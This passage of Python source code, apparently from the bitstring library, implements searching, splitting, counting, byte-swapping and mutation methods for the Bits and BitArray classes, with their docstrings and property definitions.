BitArray('0xc3e').find('0b1111') (6,) """ bs = Bits(bs) if not bs.len: raise ValueError("Cannot find an empty bitstring.") start, end = self._validate_slice(start, end) if bytealigned is None: bytealigned = globals()['bytealigned'] if bytealigned and not bs.len % 8 and not self._datastore.offset: p = self._findbytes(bs.bytes, start, end, bytealigned) else: p = self._findregex(re.compile(bs._getbin()), start, end, bytealigned) # If called from a class that has a pos, set it try: self._pos = p[0] except (AttributeError, IndexError): pass return p def findall(self, bs, start=None, end=None, count=None, bytealigned=None): """Find all occurrences of bs. Return generator of bit positions. bs -- The bitstring to find. start -- The bit position to start the search. Defaults to 0. end -- The bit position one past the last bit to search. Defaults to self.len. count -- The maximum number of occurrences to find. bytealigned -- If True the bitstring will only be found on byte boundaries. Raises ValueError if bs is empty, if start < 0, if end > self.len or if end < start. Note that all occurrences of bs are found, even if they overlap. """ if count is not None and count < 0: raise ValueError("In findall, count must be >= 0.") bs = Bits(bs) start, end = self._validate_slice(start, end) if bytealigned is None: bytealigned = globals()['bytealigned'] c = 0 if bytealigned and not bs.len % 8 and not self._datastore.offset: # Use the quick find method f = self._findbytes x = bs._getbytes() else: f = self._findregex x = re.compile(bs._getbin()) while True: p = f(x, start, end, bytealigned) if not p: break if count is not None and c >= count: return c += 1 try: self._pos = p[0] except AttributeError: pass yield p[0] if bytealigned: start = p[0] + 8 else: start = p[0] + 1 if start >= end: break return def rfind(self, bs, start=None, end=None, bytealigned=None): """Find final occurrence of substring bs. Returns a single item tuple with the bit position if found, or an empty tuple if not found. The bit position (pos property) will also be set to the start of the substring if it is found. bs -- The bitstring to find. start -- The bit position to end the reverse search. Defaults to 0. end -- The bit position one past the first bit to reverse search. Defaults to self.len. bytealigned -- If True the bitstring will only be found on byte boundaries. Raises ValueError if bs is empty, if start < 0, if end > self.len or if end < start. """ bs = Bits(bs) start, end = self._validate_slice(start, end) if bytealigned is None: bytealigned = globals()['bytealigned'] if not bs.len: raise ValueError("Cannot find an empty bitstring.") # Search chunks starting near the end and then moving back # until we find bs. increment = max(8192, bs.len * 80) buffersize = min(increment + bs.len, end - start) pos = max(start, end - buffersize) while True: found = list(self.findall(bs, start=pos, end=pos + buffersize, bytealigned=bytealigned)) if not found: if pos == start: return () pos = max(start, pos - increment) continue return (found[-1],) def cut(self, bits, start=None, end=None, count=None): """Return bitstring generator by cutting into bits sized chunks. bits -- The size in bits of the bitstring chunks to generate. start -- The bit position to start the first cut. Defaults to 0. end -- The bit position one past the last bit to use in the cut. Defaults to self.len. count -- If specified then at most count items are generated. Default is to cut as many times as possible. """ start, end = self._validate_slice(start, end) if count is not None and count < 0: raise ValueError("Cannot cut - count must be >= 0.") if bits <= 0: raise ValueError("Cannot cut - bits must be >= 0.") c = 0 while count is None or c < count: c += 1 nextchunk = self._slice(start, min(start + bits, end)) if nextchunk.len != bits: return assert nextchunk._assertsanity() yield nextchunk start += bits return def split(self, delimiter, start=None, end=None, count=None, bytealigned=None): """Return bitstring generator by splittling using a delimiter. The first item returned is the initial bitstring before the delimiter, which may be an empty bitstring. delimiter -- The bitstring used as the divider. start -- The bit position to start the split. Defaults to 0. end -- The bit position one past the last bit to use in the split. Defaults to self.len. count -- If specified then at most count items are generated. Default is to split as many times as possible. bytealigned -- If True splits will only occur on byte boundaries. Raises ValueError if the delimiter is empty. """ delimiter = Bits(delimiter) if not delimiter.len: raise ValueError("split delimiter cannot be empty.") start, end = self._validate_slice(start, end) if bytealigned is None: bytealigned = globals()['bytealigned'] if count is not None and count < 0: raise ValueError("Cannot split - count must be >= 0.") if count == 0: return if bytealigned and not delimiter.len % 8 and not self._datastore.offset: # Use the quick find method f = self._findbytes x = delimiter._getbytes() else: f = self._findregex x = re.compile(delimiter._getbin()) found = f(x, start, end, bytealigned) if not found: # Initial bits are the whole bitstring being searched yield self._slice(start, end) return # yield the bytes before the first occurrence of the delimiter, even if empty yield self._slice(start, found[0]) startpos = pos = found[0] c = 1 while count is None or c < count: pos += delimiter.len found = f(x, pos, end, bytealigned) if not found: # No more occurrences, so return the rest of the bitstring yield self._slice(startpos, end) return c += 1 yield self._slice(startpos, found[0]) startpos = pos = found[0] # Have generated count bitstrings, so time to quit. return def join(self, sequence): """Return concatenation of bitstrings joined by self. sequence -- A sequence of bitstrings. """ s = self.__class__() i = iter(sequence) try: s._append(Bits(next(i))) while True: n = next(i) s._append(self) s._append(Bits(n)) except StopIteration: pass return s def tobytes(self): """Return the bitstring as bytes, padding with zero bits if needed. Up to seven zero bits will be added at the end to byte align. """ d = offsetcopy(self._datastore, 0).rawbytes # Need to ensure that unused bits at end are set to zero unusedbits = 8 - self.len % 8 if unusedbits != 8: d[-1] &= (0xff << unusedbits) return bytes(d) def tofile(self, f): """Write the bitstring to a file object, padding with zero bits if needed. Up to seven zero bits will be added at the end to byte align. """ # If the bitstring is file based then we don't want to read it all # in to memory. chunksize = 1024 * 1024 # 1 MB chunks if not self._offset: a = 0 bytelen = self._datastore.bytelength p = self._datastore.getbyteslice(a, min(a + chunksize, bytelen - 1)) while len(p) == chunksize: f.write(p) a += chunksize p = self._datastore.getbyteslice(a, min(a + chunksize, bytelen - 1)) f.write(p) # Now the final byte, ensuring that unused bits at end are set to 0. bits_in_final_byte = self.len % 8 if not bits_in_final_byte: bits_in_final_byte = 8 f.write(self[-bits_in_final_byte:].tobytes()) else: # Really quite inefficient... a = 0 b = a + chunksize * 8 while b <= self.len: f.write(self._slice(a, b)._getbytes()) a += chunksize * 8 b += chunksize * 8 if a != self.len: f.write(self._slice(a, self.len).tobytes()) def startswith(self, prefix, start=None, end=None): """Return whether the current bitstring starts with prefix. prefix -- The bitstring to search for. start -- The bit position to start from. Defaults to 0. end -- The bit position to end at. Defaults to self.len. """ prefix = Bits(prefix) start, end = self._validate_slice(start, end) if end < start + prefix.len: return False end = start + prefix.len return self._slice(start, end) == prefix def endswith(self, suffix, start=None, end=None): """Return whether the current bitstring ends with suffix. suffix -- The bitstring to search for. start -- The bit position to start from. Defaults to 0. end -- The bit position to end at. Defaults to self.len. """ suffix = Bits(suffix) start, end = self._validate_slice(start, end) if start + suffix.len > end: return False start = end - suffix.len return self._slice(start, end) == suffix def all(self, value, pos=None): """Return True if one or many bits are all set to value. value -- If value is True then checks for bits set to 1, otherwise checks for bits set to 0. pos -- An iterable of bit positions. Negative numbers are treated in the same way as slice indices. Defaults to the whole bitstring. """ value = bool(value) length = self.len if pos is None: pos = xrange(self.len) for p in pos: if p < 0: p += length if not 0 <= p < length: raise IndexError("Bit position {0} out of range.".format(p)) if not self._datastore.getbit(p) is value: return False return True def any(self, value, pos=None): """Return True if any of one or many bits are set to value. value -- If value is True then checks for bits set to 1, otherwise checks for bits set to 0. pos -- An iterable of bit positions. Negative numbers are treated in the same way as slice indices. Defaults to the whole bitstring. """ value = bool(value) length = self.len if pos is None: pos = xrange(self.len) for p in pos: if p < 0: p += length if not 0 <= p < length: raise IndexError("Bit position {0} out of range.".format(p)) if self._datastore.getbit(p) is value: return True return False def count(self, value): """Return count of total number of either zero or one bits. value -- If True then bits set to 1 are counted, otherwise bits set to 0 are counted. >>> Bits('0xef').count(1) 7 """ if not self.len: return 0 # count the number of 1s (from which it's easy to work out the 0s). # Don't count the final byte yet. count = sum(BIT_COUNT[self._datastore.getbyte(i)] for i in xrange(self._datastore.bytelength - 1)) # adjust for bits at start that aren't part of the bitstring if self._offset: count -= BIT_COUNT[self._datastore.getbyte(0) >> (8 - self._offset)] # and count the last 1 - 8 bits at the end. endbits = self._datastore.bytelength * 8 - (self._offset + self.len) count += BIT_COUNT[self._datastore.getbyte(self._datastore.bytelength - 1) >> endbits] return count if value else self.len - count # Create native-endian functions as aliases depending on the byteorder if byteorder == 'little': _setfloatne = _setfloatle _readfloatne = _readfloatle _getfloatne = _getfloatle _setuintne = _setuintle _readuintne = _readuintle _getuintne = _getuintle _setintne = _setintle _readintne = _readintle _getintne = _getintle else: _setfloatne = _setfloat _readfloatne = _readfloat _getfloatne = _getfloat _setuintne = _setuintbe _readuintne = _readuintbe _getuintne = _getuintbe _setintne = _setintbe _readintne = _readintbe _getintne = _getintbe _offset = property(_getoffset) len = property(_getlength, doc="""The length of the bitstring in bits. Read only. """) length = property(_getlength, doc="""The length of the bitstring in bits. Read only. """) bool = property(_getbool, doc="""The bitstring as a bool (True or False). Read only. """) hex = property(_gethex, doc="""The bitstring as a hexadecimal string. Read only. """) bin = property(_getbin, doc="""The bitstring as a binary string. Read only. """) oct = property(_getoct, doc="""The bitstring as an octal string. Read only. """) bytes = property(_getbytes, doc="""The bitstring as a bytes object. Read only. """) int = property(_getint, doc="""The bitstring as a two's complement signed int. Read only. """) uint = property(_getuint, doc="""The bitstring as a two's complement unsigned int. Read only. """) float = property(_getfloat, doc="""The bitstring as a floating point number. Read only. """) intbe = property(_getintbe, doc="""The bitstring as a two's complement big-endian signed int. Read only. """) uintbe = property(_getuintbe, doc="""The bitstring as a two's complement big-endian unsigned int. Read only. """) floatbe = property(_getfloat, doc="""The bitstring as a big-endian floating point number. Read only. """) intle = property(_getintle, doc="""The bitstring as a two's complement little-endian signed int. Read only. """) uintle = property(_getuintle, doc="""The bitstring as a two's complement little-endian unsigned int. Read only. """) floatle = property(_getfloatle, doc="""The bitstring as a little-endian floating point number. Read only. """) intne = property(_getintne, doc="""The bitstring as a two's complement native-endian signed int. Read only. """) uintne = property(_getuintne, doc="""The bitstring as a two's complement native-endian unsigned int. Read only. """) floatne = property(_getfloatne, doc="""The bitstring as a native-endian floating point number. Read only. """) ue = property(_getue, doc="""The bitstring as an unsigned exponential-Golomb code. Read only. """) se = property(_getse, doc="""The bitstring as a signed exponential-Golomb code. Read only. """) uie = property(_getuie, doc="""The bitstring as an unsigned interleaved exponential-Golomb code. Read only. """) sie = property(_getsie, doc="""The bitstring as a signed interleaved exponential-Golomb code. Read only. """) # Dictionary that maps token names to the function that reads them. name_to_read = {'uint': Bits._readuint, 'uintle': Bits._readuintle, 'uintbe': Bits._readuintbe, 'uintne': Bits._readuintne, 'int': Bits._readint, 'intle': Bits._readintle, 'intbe': Bits._readintbe, 'intne': Bits._readintne, 'float': Bits._readfloat, 'floatbe': Bits._readfloat, # floatbe is a synonym for float 'floatle': Bits._readfloatle, 'floatne': Bits._readfloatne, 'hex': Bits._readhex, 'oct': Bits._readoct, 'bin': Bits._readbin, 'bits': Bits._readbits, 'bytes': Bits._readbytes, 'ue': Bits._readue, 'se': Bits._readse, 'uie': Bits._readuie, 'sie': Bits._readsie, 'bool': Bits._readbool, } # Dictionaries for mapping init keywords with init functions. init_with_length_and_offset = {'bytes': Bits._setbytes_safe, 'filename': Bits._setfile, } init_with_length_only = {'uint': Bits._setuint, 'int': Bits._setint, 'float': Bits._setfloat, 'uintbe': Bits._setuintbe, 'intbe': Bits._setintbe, 'floatbe': Bits._setfloat, 'uintle': Bits._setuintle, 'intle': Bits._setintle, 'floatle': Bits._setfloatle, 'uintne': Bits._setuintne, 'intne': Bits._setintne, 'floatne': Bits._setfloatne, } init_without_length_or_offset = {'bin': Bits._setbin_safe, 'hex': Bits._sethex, 'oct': Bits._setoct, 'ue': Bits._setue, 'se': Bits._setse, 'uie': Bits._setuie, 'sie': Bits._setsie, 'bool': Bits._setbool, } class BitArray(Bits): """A container holding a mutable sequence of bits. Subclass of the immutable Bits class. Inherits all of its methods (except __hash__) and adds mutating methods. Mutating methods: append() -- Append a bitstring. byteswap() -- Change byte endianness in-place. insert() -- Insert a bitstring. invert() -- Flip bit(s) between one and zero. overwrite() -- Overwrite a section with a new bitstring. prepend() -- Prepend a bitstring. replace() -- Replace occurrences of one bitstring with another. reverse() -- Reverse bits in-place. rol() -- Rotate bits to the left. ror() -- Rotate bits to the right. set() -- Set bit(s) to 1 or 0. Methods inherited from Bits: all() -- Check if all specified bits are set to 1 or 0. any() -- Check if any of specified bits are set to 1 or 0. count() -- Count the number of bits set to 1 or 0. cut() -- Create generator of constant sized chunks. endswith() -- Return whether the bitstring ends with a sub-string. find() -- Find a sub-bitstring in the current bitstring. findall() -- Find all occurrences of a sub-bitstring in the current bitstring. join() -- Join bitstrings together using current bitstring. rfind() -- Seek backwards to find a sub-bitstring. split() -- Create generator of chunks split by a delimiter. startswith() -- Return whether the bitstring starts with a sub-bitstring. tobytes() -- Return bitstring as bytes, padding if needed. tofile() -- Write bitstring to file, padding if needed. unpack() -- Interpret bits using format string. Special methods: Mutating operators are available: [], <<=, >>=, +=, *=, &=, |= and ^= in addition to the inherited [], ==, !=, +, *, ~, <<, >>, &, | and ^. Properties: bin -- The bitstring as a binary string. bool -- For single bit bitstrings, interpret as True or False. bytepos -- The current byte position in the bitstring. bytes -- The bitstring as a bytes object. float -- Interpret as a floating point number. floatbe -- Interpret as a big-endian floating point number. floatle -- Interpret as a little-endian floating point number. floatne -- Interpret as a native-endian floating point number. hex -- The bitstring as a hexadecimal string. int -- Interpret as a two's complement signed integer. intbe -- Interpret as a big-endian signed integer. intle -- Interpret as a little-endian signed integer. intne -- Interpret as a native-endian signed integer. len -- Length of the bitstring in bits. oct -- The bitstring as an octal string. pos -- The current bit position in the bitstring. se -- Interpret as a signed exponential-Golomb code. ue -- Interpret as an unsigned exponential-Golomb code. sie -- Interpret as a signed interleaved exponential-Golomb code. uie -- Interpret as an unsigned interleaved exponential-Golomb code. uint -- Interpret as a two's complement unsigned integer. uintbe -- Interpret as a big-endian unsigned integer. uintle -- Interpret as a little-endian unsigned integer. uintne -- Interpret as a native-endian unsigned integer. """ __slots__ = () # As BitArray objects are mutable, we shouldn't allow them to be hashed. __hash__ = None def __init__(self, auto=None, length=None, offset=None, **kwargs): """Either specify an 'auto' initialiser: auto -- a string of comma separated tokens, an integer, a file object, a bytearray, a boolean iterable or another bitstring. Or initialise via **kwargs with one (and only one) of: bytes -- raw data as a string, for example read from a binary file. bin -- binary string representation, e.g. '0b001010'. hex -- hexadecimal string representation, e.g. '0x2ef' oct -- octal string representation, e.g. '0o777'. uint -- an unsigned integer. int -- a signed integer. float -- a floating point number. uintbe -- an unsigned big-endian whole byte integer. intbe -- a signed big-endian whole byte integer. floatbe - a big-endian floating point number. uintle -- an unsigned little-endian whole byte integer. intle -- a signed little-endian whole byte integer. floatle -- a little-endian floating point number. uintne -- an unsigned native-endian whole byte integer. intne -- a signed native-endian whole byte integer. floatne -- a native-endian floating point number. se -- a signed exponential-Golomb code. ue -- an unsigned exponential-Golomb code. sie -- a signed interleaved exponential-Golomb code. uie -- an unsigned interleaved exponential-Golomb code. bool -- a boolean (True or False). filename -- a file which will be opened in binary read-only mode. Other keyword arguments: length -- length of the bitstring in bits, if needed and appropriate. It must be supplied for all integer and float initialisers. offset -- bit offset to the data. These offset bits are ignored and this is intended for use when initialising using 'bytes' or 'filename'. """ # For mutable BitArrays we always read in files to memory: if not isinstance(self._datastore, ByteStore): self._ensureinmemory() def __new__(cls, auto=None, length=None, offset=None, **kwargs): x = super(BitArray, cls).__new__(cls) y = Bits.__new__(BitArray, auto, length, offset, **kwargs) x._datastore = ByteStore(y._datastore._rawarray[:], y._datastore.bitlength, y._datastore.offset) return x def __iadd__(self, bs): """Append bs to current bitstring. Return self. bs -- the bitstring to append. """ self.append(bs) return self def __copy__(self): """Return a new copy of the BitArray.""" s_copy = BitArray() if not isinstance(self._datastore, ByteStore): # Let them both point to the same (invariant) array. # If either gets modified then at that point they'll be read into memory. s_copy._datastore = self._datastore else: s_copy._datastore = copy.copy(self._datastore) return s_copy def __setitem__(self, key, value): """Set item or range to new value. Indices are in units of the step parameter (default 1 bit). Stepping is used to specify the number of bits in each item. If the length of the bitstring is changed then pos will be moved to after the inserted section, otherwise it will remain unchanged. >>> s = BitArray('0xff') >>> s[0:1:4] = '0xe' >>> print s '0xef' >>> s[4:4] = '0x00' >>> print s '0xe00f' """ try: # A slice start, step = 0, 1 if key.step is not None: step = key.step except AttributeError: # single element if key < 0: key += self.len if not 0 <= key < self.len: raise IndexError("Slice index out of range.") if isinstance(value, numbers.Integral): if not value: self._unset(key) return if value in (1, -1): self._set(key) return raise ValueError("Cannot set a single bit with integer {0}.".format(value)) value = Bits(value) if value.len == 1: # TODO: this can't be optimal if value[0]: self._set(key) else: self._unset(key) else: self._delete(1, key) self._insert(value, key) return else: if step != 1: # convert to binary string and use string slicing # TODO: Horribly inefficent temp = list(self._getbin()) v = list(Bits(value)._getbin()) temp.__setitem__(key, v) self._setbin_unsafe(''.join(temp)) return # If value is an integer then we want to set the slice to that # value rather than initialise a new bitstring of that length. if not isinstance(value, numbers.Integral): try: # TODO: Better way than calling constructor here? value = Bits(value) except TypeError: raise TypeError("Bitstring, integer or string expected. " "Got {0}.".format(type(value))) if key.start is not None: start = key.start if key.start < 0: start += self.len if start < 0: start = 0 stop = self.len if key.stop is not None: stop = key.stop if key.stop < 0: stop += self.len if start > stop: # The standard behaviour for lists is to just insert at the # start position if stop < start and step == 1. stop = start if isinstance(value, numbers.Integral): if value >= 0: value = self.__class__(uint=value, length=stop - start) else: value = self.__class__(int=value, length=stop - start) stop = min(stop, self.len) start = max(start, 0) start = min(start, stop) if (stop - start) == value.len: if not value.len: return if step >= 0: self._overwrite(value, start) else: self._overwrite(value.__getitem__(slice(None, None, 1)), start) else: # TODO: A delete then insert is wasteful - it could do unneeded shifts. # Could be either overwrite + insert or overwrite + delete. self._delete(stop - start, start) if step >= 0: self._insert(value, start) else: self._insert(value.__getitem__(slice(None, None, 1)), start) # pos is now after the inserted piece. return def __delitem__(self, key): """Delete item or range. Indices are in units of the step parameter (default 1 bit). Stepping is used to specify the number of bits in each item. >>> a = BitArray('0x001122') >>> del a[1:2:8] >>> print a 0x0022 """ try: # A slice start = 0 step = key.step if key.step is not None else 1 except AttributeError: # single element if key < 0: key += self.len if not 0 <= key < self.len: raise IndexError("Slice index out of range.") self._delete(1, key) return else: if step != 1: # convert to binary string and use string slicing # TODO: Horribly inefficent temp = list(self._getbin()) temp.__delitem__(key) self._setbin_unsafe(''.join(temp)) return stop = key.stop if key.start is not None: start = key.start if key.start < 0 and stop is None: start += self.len if start < 0: start = 0 if stop is None: stop = self.len if start > stop: return stop = min(stop, self.len) start = max(start, 0) start = min(start, stop) self._delete(stop - start, start) return def __ilshift__(self, n): """Shift bits by n to the left in place. Return self. n -- the number of bits to shift. Must be >= 0. """ if n < 0: raise ValueError("Cannot shift by a negative amount.") if not self.len: raise ValueError("Cannot shift an empty bitstring.") if not n: return self n = min(n, self.len) return self._ilshift(n) def __irshift__(self, n): """Shift bits by n to the right in place. Return self. n -- the number of bits to shift. Must be >= 0. """ if n < 0: raise ValueError("Cannot shift by a negative amount.") if not self.len: raise ValueError("Cannot shift an empty bitstring.") if not n: return self n = min(n, self.len) return self._irshift(n) def __imul__(self, n): """Concatenate n copies of self in place. Return self. Called for expressions of the form 'a *= 3'. n -- The number of concatenations. Must be >= 0. """ if n < 0: raise ValueError("Cannot multiply by a negative integer.") return self._imul(n) def __ior__(self, bs): bs = Bits(bs) if self.len != bs.len: raise ValueError("Bitstrings must have the same length " "for |= operator.") return self._ior(bs) def __iand__(self, bs): bs = Bits(bs) if self.len != bs.len: raise ValueError("Bitstrings must have the same length " "for &= operator.") return self._iand(bs) def __ixor__(self, bs): bs = Bits(bs) if self.len != bs.len: raise ValueError("Bitstrings must have the same length " "for ^= operator.") return self._ixor(bs) def replace(self, old, new, start=None, end=None, count=None, bytealigned=None): """Replace all occurrences of old with new in place. Returns number of replacements made. old -- The bitstring to replace. new -- The replacement bitstring. start -- Any occurrences that start before this will not be replaced. Defaults to 0. end -- Any occurrences that finish after this will not be replaced. Defaults to self.len. count -- The maximum number of replacements to make. Defaults to replace all occurrences. bytealigned -- If True replacements will only be made on byte boundaries. Raises ValueError if old is empty or if start or end are out of range. """ old = Bits(old) new = Bits(new) if not old.len: raise ValueError("Empty bitstring cannot be replaced.") start, end = self._validate_slice(start, end) if bytealigned is None: bytealigned = globals()['bytealigned'] # Adjust count for use in split() if count is not None: count += 1 sections = self.split(old, start, end, count, bytealigned) lengths = [s.len for s in sections] if len(lengths) == 1: # Didn't find anything to replace. return 0 # no replacements done if new is self: # Prevent self assignment woes new = copy.copy(self) positions = [lengths[0] + start] for l in lengths[1:-1]: # Next position is the previous one plus the length of the next section. positions.append(positions[-1] + l) # We have all the positions that need replacements. We do them # in reverse order so that they won't move around as we replace. positions.reverse() try: # Need to calculate new pos, if this is a bitstream newpos = self._pos for p in positions: self[p:p + old.len] = new if old.len != new.len: diff = new.len - old.len for p in positions: if p >= newpos: continue if p + old.len <= newpos: newpos += diff else: newpos = p self._pos = newpos except AttributeError: for p in positions: self[p:p + old.len] = new assert self._assertsanity() return len(lengths) - 1 def insert(self, bs, pos=None): """Insert bs at bit position pos. bs -- The bitstring to insert. pos -- The bit position to insert at. Raises ValueError if pos < 0 or pos > self.len. """ bs = Bits(bs) if not bs.len: return self if bs is self: bs = self.__copy__() if pos is None: try: pos = self._pos except AttributeError: raise TypeError("insert require a bit position for this type.") if pos < 0: pos += self.len if not 0 <= pos <= self.len: raise ValueError("Invalid insert position.") self._insert(bs, pos) def overwrite(self, bs, pos=None): """Overwrite with bs at bit position pos. bs -- The bitstring to overwrite with. pos -- The bit position to begin overwriting from. Raises ValueError if pos < 0 or pos + bs.len > self.len """ bs = Bits(bs) if not bs.len: return if pos is None: try: pos = self._pos except AttributeError: raise TypeError("overwrite require a bit position for this type.") if pos < 0: pos += self.len if pos < 0 or pos + bs.len > self.len: raise ValueError("Overwrite exceeds boundary of bitstring.") self._overwrite(bs, pos) try: self._pos = pos + bs.len except AttributeError: pass def append(self, bs): """Append a bitstring to the current bitstring. bs -- The bitstring to append. """ # The offset is a hint to make bs easily appendable. bs = self._converttobitstring(bs, offset=(self.len + self._offset) % 8) self._append(bs) def prepend(self, bs): """Prepend a bitstring to the current bitstring. bs -- The bitstring to prepend. """ bs = Bits(bs) self._prepend(bs) def reverse(self, start=None, end=None): """Reverse bits in-place. start -- Position of first bit to reverse. Defaults to 0. end -- One past the position of the last bit to reverse. Defaults to self.len. Using on an empty bitstring will have no effect. Raises ValueError if start < 0, end > self.len or end < start. """ start, end = self._validate_slice(start, end) if start == 0 and end == self.len: self._reverse() return s = self._slice(start, end) s._reverse() self[start:end] = s def set(self, value, pos=None): """Set one or many bits to 1 or 0. value -- If True bits are set to 1, otherwise they are set to 0. pos -- Either a single bit position or an iterable of bit positions. Negative numbers are treated in the same way as slice indices. Defaults to the entire bitstring. Raises IndexError if pos < -self.len or pos >= self.len. """ f = self._set if value else self._unset if pos is None: pos = xrange(self.len) try: length = self.len for p in pos: if p < 0: p += length if not 0 <= p < length: raise IndexError("Bit position {0} out of range.".format(p)) f(p) except TypeError: # Single pos if pos < 0: pos += self.len if not 0 <= pos < length: raise IndexError("Bit position {0} out of range.".format(pos)) f(pos) def invert(self, pos=None): """Invert one or many bits from 0 to 1 or vice versa. pos -- Either a single bit position or an iterable of bit positions. Negative numbers are treated in the same way as slice indices. Raises IndexError if pos < -self.len or pos >= self.len. """ if pos is None: self._invert_all() return if not isinstance(pos, collections.Iterable): pos = (pos,) length = self.len for p in pos: if p < 0: p += length if not 0 <= p < length: raise IndexError("Bit position {0} out of range.".format(p)) self._invert(p) def ror(self, bits, start=None, end=None): """Rotate bits to the right in-place. bits -- The number of bits to rotate by. start -- Start of slice to rotate. Defaults to 0. end -- End of slice to rotate. Defaults to self.len. Raises ValueError if bits < 0. """ if not self.len: raise Error("Cannot rotate an empty bitstring.") if bits < 0: raise ValueError("Cannot rotate right by negative amount.") start, end = self._validate_slice(start, end) bits %= (end - start) if not bits: return rhs = self._slice(end - bits, end) self._delete(bits, end - bits) self._insert(rhs, start) def rol(self, bits, start=None, end=None): """Rotate bits to the left in-place. bits -- The number of bits to rotate by. start -- Start of slice to rotate. Defaults to 0. end -- End of slice to rotate. Defaults to self.len. Raises ValueError if bits < 0. """ if not self.len: raise Error("Cannot rotate an empty bitstring.") if bits < 0: raise ValueError("Cannot rotate left by negative amount.") start, end = self._validate_slice(start, end) bits %= (end - start) if not bits: return lhs = self._slice(start, start + bits) self._delete(bits, start) self._insert(lhs, end - bits) def byteswap(self, fmt=None, start=None, end=None, repeat=True): """Change the endianness in-place. Return number of repeats of fmt done. fmt -- A compact structure string, an integer number of bytes or an iterable of integers. Defaults to 0, which byte reverses the whole bitstring. start -- Start bit position, defaults to 0. end -- End bit position, defaults to self.len. repeat -- If True (the default) the byte swapping pattern is repeated as much as possible. """ start, end = self._validate_slice(start, end) if fmt is None or fmt == 0: # reverse all of the whole bytes. bytesizes = [(end - start) // 8] elif isinstance(fmt, numbers.Integral): if fmt < 0: raise ValueError("Improper byte length {0}.".format(fmt)) bytesizes = [fmt] elif isinstance(fmt, basestring): m = STRUCT_PACK_RE.match(fmt) if not m: raise ValueError("Cannot parse format string {0}.".format(fmt)) # Split the format string into a list of 'q', '4h' etc. formatlist = re.findall(STRUCT_SPLIT_RE, m.group('fmt')) # Now deal with multiplicative factors, 4h -> hhhh etc. bytesizes = [] for f in formatlist: if len(f) == 1: bytesizes.append(PACK_CODE_SIZE[f]) else: bytesizes.extend([PACK_CODE_SIZE[f[-1]]] * int(f[:-1])) elif isinstance(fmt, collections.Iterable): bytesizes = fmt for bytesize in bytesizes: if not isinstance(bytesize, numbers.Integral) or bytesize < 0: raise ValueError("Improper byte length {0}.".format(bytesize)) else: raise TypeError("Format must be an integer, string or iterable.") repeats = 0 totalbitsize = 8 * sum(bytesizes) if not totalbitsize: return 0 if repeat: # Try to repeat up to the end of the bitstring. finalbit = end else: # Just try one (set of) byteswap(s). finalbit = start + totalbitsize for patternend in xrange(start + totalbitsize, finalbit + 1, totalbitsize): bytestart = patternend - totalbitsize for bytesize in bytesizes: byteend = bytestart + bytesize * 8 self._reversebytes(bytestart, byteend) bytestart += bytesize * 8 repeats += 1 return repeats def clear(self): """Remove all bits, reset to zero length.""" self._clear() def copy(self): """Return a copy of the bitstring.""" return self._copy() int = property(Bits._getint, Bits._setint, doc="""The bitstring as a two's complement signed int. Read and write. """) uint = property(Bits._getuint, Bits._setuint, doc="""The bitstring as a two's complement unsigned int. Read and write. """) float = property(Bits._getfloat, Bits._setfloat, doc="""The bitstring as a floating point number. Read and write. """) intbe = property(Bits._getintbe, Bits._setintbe, doc="""The bitstring as a two's complement big-endian signed int. Read and write. """) uintbe = property(Bits._getuintbe, Bits._setuintbe, doc="""The bitstring as a two's complement big-endian unsigned int. Read and write. """) floatbe = property(Bits._getfloat, Bits._setfloat, doc="""The bitstring as a big-endian floating point number. Read and write. """) intle = property(Bits._getintle, Bits._setintle, doc="""The bitstring as a two's complement little-endian signed int. Read and write. """) uintle = property(Bits._getuintle, Bits._setuintle, doc="""The bitstring as a two's complement little-endian unsigned int. Read and write. """) floatle = property(Bits._getfloatle, Bits._setfloatle, doc="""The bitstring as a little-endian floating point number. Read and write. """) intne = property(Bits._getintne, Bits._setintne, doc="""The bitstring as a two's complement native-endian signed int. Read and write. """) uintne = property(Bits._getuintne, Bits._setuintne, doc="""The bitstring as a two's complement native-endian unsigned int. Read and write. """) floatne = property(Bits._getfloatne, Bits._setfloatne, doc="""The bitstring as a native-endian floating point number. Read and write. """) ue = property(Bits._getue, Bits._setue, doc="""The bitstring as an unsigned exponential-Golomb code. Read and write. """) se = property(Bits._getse, Bits._setse, doc="""The bitstring as a signed exponential-Golomb code. Read and write. """) uie = property(Bits._getuie, Bits._setuie, doc="""The bitstring as an unsigned interleaved exponential-Golomb code. Read and write. """) sie = property(Bits._getsie, Bits._setsie, doc="""The bitstring as a signed interleaved exponential-Golomb code. Read and write. """) hex = property(Bits._gethex, Bits._sethex, doc="""The bitstring as a hexadecimal string. Read and write. """) bin = property(Bits._getbin, Bits._setbin_safe, doc="""The bitstring as a binary string. Read and write. """) oct = property(Bits._getoct, Bits._setoct, doc="""The bitstring as an octal string. Read and write. """) bool = property(Bits._getbool, Bits._setbool, doc="""The bitstring as a bool (True or False). Read and write. """) bytes = property(Bits._getbytes, Bits._setbytes_safe, doc="""The bitstring as a ordinary string. Read and write. """) class ConstBitStream(Bits): """A container or stream holding an immutable sequence of bits. For a mutable container use the BitStream class instead. Methods inherited from Bits: all() -- Check if all specified bits are set to 1 or 0. any() -- Check if any of specified bits are set to 1 or 0. count() -- Count the number of bits set to 1 or 0. cut() -- Create generator of constant sized chunks. endswith() -- Return whether the bitstring ends with a sub-string. find() -- Find a sub-bitstring in the current bitstring. findall() -- Find all occurrences of a sub-bitstring in the current bitstring. join() -- Join bitstrings together using current bitstring. rfind() -- Seek backwards to find a sub-bitstring. split() -- Create generator of chunks split by a delimiter. startswith() -- Return whether the bitstring starts with a sub-bitstring. tobytes() -- Return bitstring as bytes, padding if needed. tofile() -- Write bitstring to file, padding if needed. unpack() -- Interpret bits using format string. Other methods: bytealign() -- Align to next byte boundary. peek() -- Peek at and interpret next bits as a single item. peeklist() -- Peek at and interpret next bits as a list of items. read() -- Read and interpret next bits as a single item. readlist() -- Read and interpret next bits as a list of items. Special methods: Also available are the operators [], ==, !=, +, *, ~, <<, >>, &, |, ^. Properties: bin -- The bitstring as a binary string. bool -- For single bit bitstrings, interpret as True or False. bytepos -- The current byte position in the bitstring. bytes -- The bitstring as a bytes object. float -- Interpret as a floating point number. floatbe -- Interpret as a big-endian floating point number. floatle -- Interpret as a little-endian floating point number. floatne -- Interpret as a native-endian floating point number. hex -- The bitstring as a hexadecimal string. int -- Interpret as a two's complement signed integer. intbe -- Interpret as a big-endian signed integer. intle -- Interpret as a little-endian signed integer. intne -- Interpret as a native-endian signed integer. len -- Length of the bitstring in bits. oct -- The bitstring as an octal string. pos -- The current bit position in the bitstring. se -- Interpret as a signed exponential-Golomb code. ue -- Interpret as an unsigned exponential-Golomb code. 